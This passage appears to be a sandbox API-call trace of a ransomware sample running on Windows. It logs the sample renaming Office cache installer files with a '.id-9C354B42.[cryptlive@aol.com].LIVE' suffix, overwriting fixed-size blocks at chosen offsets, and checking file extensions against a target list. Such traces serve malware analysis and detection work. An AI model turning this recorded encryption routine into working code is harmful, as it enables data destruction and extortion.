lpBuffer=0x3ed0058*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.336] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.336] WriteFile (in: hFile=0x160, lpBuffer=0x3ed0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.343] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.343] WriteFile (in: hFile=0x160, lpBuffer=0x3ed0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ed0058 | out: hHeap=0x520000) returned 1 [0043.346] CloseHandle (hObject=0x160) returned 1 [0044.252] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0044.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.252] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.252] lstrlenW (lpString=".doc") returned 4 [0044.252] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.252] lstrlenW (lpString=".docx") returned 5 [0044.252] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.252] lstrlenW (lpString=".pdf") returned 4 [0044.252] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.252] lstrlenW (lpString=".xls") returned 4 [0044.252] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.252] lstrlenW (lpString=".xlsx") returned 5 [0044.252] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.252] lstrlenW (lpString=".ppt") returned 4 [0044.252] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.253] lstrlenW (lpString=".zip") returned 4 [0044.253] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString=".rar") returned 4 [0044.253] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString=".bz2") returned 4 [0044.253] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.253] lstrlenW (lpString=".7z") returned 3 [0044.253] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.253] lstrlenW (lpString=".dbf") returned 4 [0044.253] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.253] lstrlenW (lpString=".1cd") returned 4 [0044.253] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.253] lstrlenW (lpString=".jpg") returned 4 [0044.253] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.253] lstrlenW (lpString=".doc") returned 4 [0044.253] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString=".docx") returned 5 [0044.253] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.253] lstrlenW (lpString=".pdf") returned 4 [0044.253] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString=".xls") returned 4 [0044.253] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString=".xlsx") returned 5 [0044.253] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.253] lstrlenW (lpString=".ppt") returned 4 [0044.253] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.253] lstrlenW (lpString=".zip") returned 4 [0044.253] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.253] lstrlenW (lpString=".rar") returned 4 [0044.254] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.254] lstrlenW (lpString=".bz2") returned 4 [0044.254] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.254] lstrlenW (lpString=".7z") returned 3 [0044.254] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.254] lstrlenW (lpString=".dbf") returned 4 [0044.254] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.254] lstrlenW (lpString=".1cd") returned 4 [0044.254] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.254] lstrlenW (lpString=".jpg") returned 4 [0044.254] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.254] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0044.254] lstrlenW (lpString="VisioMUI.msi") returned 12 [0044.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.254] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2797568) returned 1 [0044.254] CloseHandle (hObject=0x160) returned 1 [0044.255] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0044.255] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0044.255] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0044.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.255] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.255] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.255] ReadFile (in: hFile=0x160, lpBuffer=0x3c40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c40058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.260] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.260] ReadFile (in: hFile=0x160, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.269] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.269] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.269] ReadFile (in: hFile=0x160, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.476] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.476] WriteFile (in: hFile=0x160, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0044.493] SetEndOfFile (hFile=0x160) returned 1 [0044.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f30078 [0044.724] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.724] WriteFile (in: hFile=0x160, lpBuffer=0x3f30078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f30078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.725] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.725] WriteFile (in: hFile=0x160, lpBuffer=0x3f30078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f30078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.731] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.731] WriteFile (in: hFile=0x160, lpBuffer=0x3f30078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f30078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.733] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f30078 | out: hHeap=0x520000) returned 1 [0044.733] CloseHandle (hObject=0x160) returned 1 [0045.426] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.427] lstrlenW (lpString=".doc") returned 4 [0045.427] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.427] lstrlenW (lpString=".docx") returned 5 [0045.427] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.427] lstrlenW (lpString=".pdf") returned 4 [0045.427] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.427] lstrlenW (lpString=".xls") returned 4 [0045.427] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.427] lstrlenW (lpString=".xlsx") returned 5 [0045.427] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.427] lstrlenW (lpString=".ppt") returned 4 [0045.427] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.427] lstrlenW (lpString=".zip") returned 4 [0045.427] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.427] lstrlenW (lpString=".rar") returned 4 [0045.427] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.427] lstrlenW (lpString=".bz2") returned 4 [0045.427] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.427] lstrlenW (lpString=".7z") returned 3 [0045.427] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.427] lstrlenW (lpString=".dbf") returned 4 [0045.427] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.427] lstrlenW (lpString=".1cd") returned 4 [0045.427] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.427] lstrlenW (lpString=".jpg") returned 4 [0045.427] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.428] lstrlenW (lpString=".doc") returned 4 [0045.428] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.428] lstrlenW (lpString=".docx") returned 5 [0045.428] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.428] lstrlenW (lpString=".pdf") returned 4 [0045.428] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.428] lstrlenW (lpString=".xls") returned 4 [0045.428] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.428] lstrlenW (lpString=".xlsx") returned 5 [0045.428] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.428] lstrlenW (lpString=".ppt") returned 4 [0045.428] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.428] lstrlenW (lpString=".zip") returned 4 [0045.428] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.428] lstrlenW (lpString=".rar") returned 4 [0045.428] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.428] lstrlenW (lpString=".bz2") returned 4 [0045.428] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.428] lstrlenW (lpString=".7z") returned 3 [0045.428] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.428] lstrlenW (lpString=".dbf") returned 4 [0045.428] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.428] lstrlenW (lpString=".1cd") returned 4 [0045.428] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.428] lstrlenW (lpString=".jpg") returned 4 [0045.428] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.429] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0045.429] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0045.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0045.429] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2507776) returned 1 [0045.429] CloseHandle (hObject=0x160) returned 1 [0045.429] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0045.429] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.429] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0045.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0045.431] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.431] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.431] ReadFile (in: hFile=0x160, lpBuffer=0x3c40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c40058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.435] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.435] ReadFile (in: hFile=0x160, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.444] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.444] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.444] ReadFile (in: hFile=0x160, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.460] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.460] WriteFile (in: hFile=0x160, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0045.476] SetEndOfFile (hFile=0x160) returned 1 [0045.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f30078 [0045.589] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.589] WriteFile (in: hFile=0x160, lpBuffer=0x3f30078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f30078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.696] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.696] WriteFile (in: hFile=0x160, lpBuffer=0x3f30078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f30078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.702] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.702] WriteFile (in: hFile=0x160, lpBuffer=0x3f30078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f30078*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.705] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f30078 | out: hHeap=0x520000) returned 1 [0045.705] CloseHandle (hObject=0x160) returned 1 [0046.070] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0046.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.070] lstrlenW (lpString=".doc") returned 4 [0046.070] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.070] lstrlenW (lpString=".docx") returned 5 [0046.070] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.070] lstrlenW (lpString=".pdf") returned 4 [0046.070] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.070] lstrlenW (lpString=".xls") returned 4 [0046.070] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.070] lstrlenW (lpString=".xlsx") returned 5 [0046.071] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.071] lstrlenW (lpString=".ppt") returned 4 [0046.071] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.071] lstrlenW (lpString=".zip") returned 4 [0046.071] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.071] lstrlenW (lpString=".rar") returned 4 [0046.071] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.071] lstrlenW (lpString=".bz2") returned 4 [0046.071] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.071] lstrlenW (lpString=".7z") returned 3 [0046.071] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.071] lstrlenW (lpString=".dbf") returned 4 [0046.071] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.071] lstrlenW (lpString=".1cd") returned 4 [0046.071] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.071] lstrlenW (lpString=".jpg") returned 4 [0046.071] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.071] lstrlenW (lpString=".doc") returned 4 [0046.071] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.071] lstrlenW (lpString=".docx") returned 5 [0046.071] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.071] lstrlenW (lpString=".pdf") returned 4 [0046.071] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.071] lstrlenW (lpString=".xls") returned 4 [0046.071] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.071] lstrlenW (lpString=".xlsx") returned 5 [0046.071] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.071] lstrlenW (lpString=".ppt") returned 4 [0046.072] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0046.072] lstrlenW (lpString=".zip") returned 4 [0046.072] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.072] lstrlenW (lpString=".rar") returned 4 [0046.072] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.072] lstrlenW (lpString=".bz2") returned 4 